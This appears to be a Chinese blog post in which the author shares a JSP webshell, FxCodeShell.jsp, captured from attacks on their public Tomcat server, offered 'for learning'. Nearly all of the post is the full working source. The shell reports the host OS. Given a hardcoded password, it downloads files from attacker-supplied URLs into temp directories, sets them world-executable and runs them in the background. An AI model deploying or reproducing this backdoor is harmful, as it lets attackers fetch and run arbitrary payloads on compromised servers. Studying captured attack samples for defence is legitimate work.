美文网首页
tomcat等servlet容器攻击脚本(FxCodeShell

tomcat等servlet容器攻击脚本(FxCodeShell

作者: 今正是时 | 来源:发表于2019-09-28 07:13 被阅读0次

把服务器挂到公网上,发现会受到各种各样的漏洞尝试攻击。其中一些很有意思。其中一个上传jsp的,现在把jsp内容分享出来,供大家学习。
FxCodeShell.jsp

<%@ page import="java.util.Arrays"%>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*,java.util.*,java.net.URL,java.net.HttpURLConnection"%>
<%
    String view = request.getParameter("view");
    if (view == null || view.equals("")) {
        String localOS = System.getProperty("os.name");
        List<String> osList;
        String tomcatOS = "0";
        String DEFAULT = "0";
        String WINDOWS = "1";
        String LINUX = "2";
        osList = new ArrayList<String>();
        osList.add("Linux");
        osList.add("Windows");
        for (String os : osList) {
            if (localOS.contains(os)) {
                if (os.equals("Linux")) {
                    tomcatOS = LINUX;
                } else if (os.equals("Windows")) {
                    tomcatOS = WINDOWS;
                } else {
                    tomcatOS = DEFAULT;
                }
                break;
            }
        }
        out.write(tomcatOS + "<br/>");
        response.setHeader("OS", tomcatOS);
        return;
    }
%>

<%
    String password = "FxxkMyLie1836710Aa";
    if (!view.equals(password)) {
        return;
    }
    int systemCode = Integer.parseInt(request.getParameter("os"));
    String address = request.getParameter("address");
    String fileName = null;
    String path = null;
    String winPath = "%SystemRoot%/Temp/";
    String linuxPath = "/var/tmp/";
    switch (systemCode) {
    case 1:
        path = winPath;
        break;
    default:
        path = linuxPath;
        break;
    }

    String[] urls = address.split(",");
    InputStream fileInputSteam = null;
    FileOutputStream fileOutputStream = null;
    for (int i = 0; i <= urls.length - 1; i++) {
        try {
            String[] file = urls[i].split("/");
            fileName = file[file.length - 1];
            out.write("Download:" + urls[i] + "<br>");
            out.write("<br>filename:" + fileName + "<br>");
            out.write("<br>Size:" + urls.length + "<br>");
            out.write(
                    "-------------------------------------------------------------------------------------------------------"
                            + "<br><br>");
            File isfile = new File(path + fileName);
            if (isfile.isFile()) {
                try {
                    Runtime exec = Runtime.getRuntime();
                    if (systemCode == 1) {
                        exec.exec(path + fileName);
                    } else {
                        String chmod = "chmod 777 " + path + fileName;
                        exec.exec(chmod);
                        exec.exec("nohup " + path + fileName + " > /dev/null 2>&1 &");
                    }
                } catch (Exception e1) {
                    e1.printStackTrace();
                }
                continue;
            }
            URL downloadUrl = new URL(urls[i]);
            HttpURLConnection conn = (HttpURLConnection) downloadUrl.openConnection();
            conn.setConnectTimeout(60000 * 3);
            conn.setReadTimeout(60000 * 3);
            fileInputSteam = conn.getInputStream();
            fileOutputStream = new FileOutputStream(path + fileName);
            int length = -1;
            byte[] b = new byte[409600];
            while ((length = fileInputSteam.read(b)) != -1) {
                fileOutputStream.write(b, 0, length);
                fileOutputStream.flush();
            }
            if (conn != null) {
                conn.disconnect();
            }
            if (fileInputSteam != null) {
                fileInputSteam.close();
            }
            if (fileOutputStream != null) {
                fileOutputStream.close();
            }
            Runtime exec = Runtime.getRuntime();
            if (systemCode == 1) {
                exec.exec(path + fileName);
            } else {
                String chmod = "chmod 777 " + path + fileName;
                exec.exec(chmod);
                exec.exec("nohup " + path + fileName + " > /dev/null 2>&1 &");
            }
        } catch (Exception e2) {
            e2.printStackTrace();
        }
    }
%>

相关文章

  • tomcat等servlet容器攻击脚本(FxCodeShell

    把服务器挂到公网上,发现会受到各种各样的漏洞尝试攻击。其中一些很有意思。其中一个上传jsp的,现在把jsp内容分享...

  • Tomcat、Servlet、JSP之间是什么关系

    概述 Tomcat: 是Servlet的容器,Servlet运行在Tomcat容器当中,Servlet容器有很多(...

  • Servlet1.0

    什么是Servlet ​​ Tomcat容器等级 ​​ Servlet生命周期 ​​ Servlet容器装载Ser...

  • Spring MVC如何映射静态文件

    前提知识:Servlet容器如Tomcat, Jetty等要映射请求,都是只能通过Servlet来响应处理的。像j...

  • JAVA Servlet工作原理

    servlet容器加载顺序 当 Servlet 容器(比如 Apache Tomcat )启动后,会部署和加载所有...

  • wed前段

    tomcat是Servlet 的容器; Servlet容器接受用户请求通过配置的映射调用Servlet中的java...

  • java wed初始

    tomcat是Servlet 的容器; Servlet容器接受用户请求通过配置的映射调用Servlet中的java...

  • 架构设计之:Servlet JSP

    Servlet JSP时代 ● 使用Servlet + Tomcat容器完成Web接入● 使用JavaBean +...

  • Tomcat

    1.Tomcat概述Tomcat 是由 Apache 开发的一个 Servlet 容器,实现了对 Servlet ...

  • tomcat嵌入式启动

    Tomcat Tomcat 是由 Apache 开发的一个 Servlet 容器,实现了对 Servlet 和 J...

网友评论

      本文标题:tomcat等servlet容器攻击脚本(FxCodeShell

      本文链接:https://www.haomeiwen.com/subject/fxkjuctx.html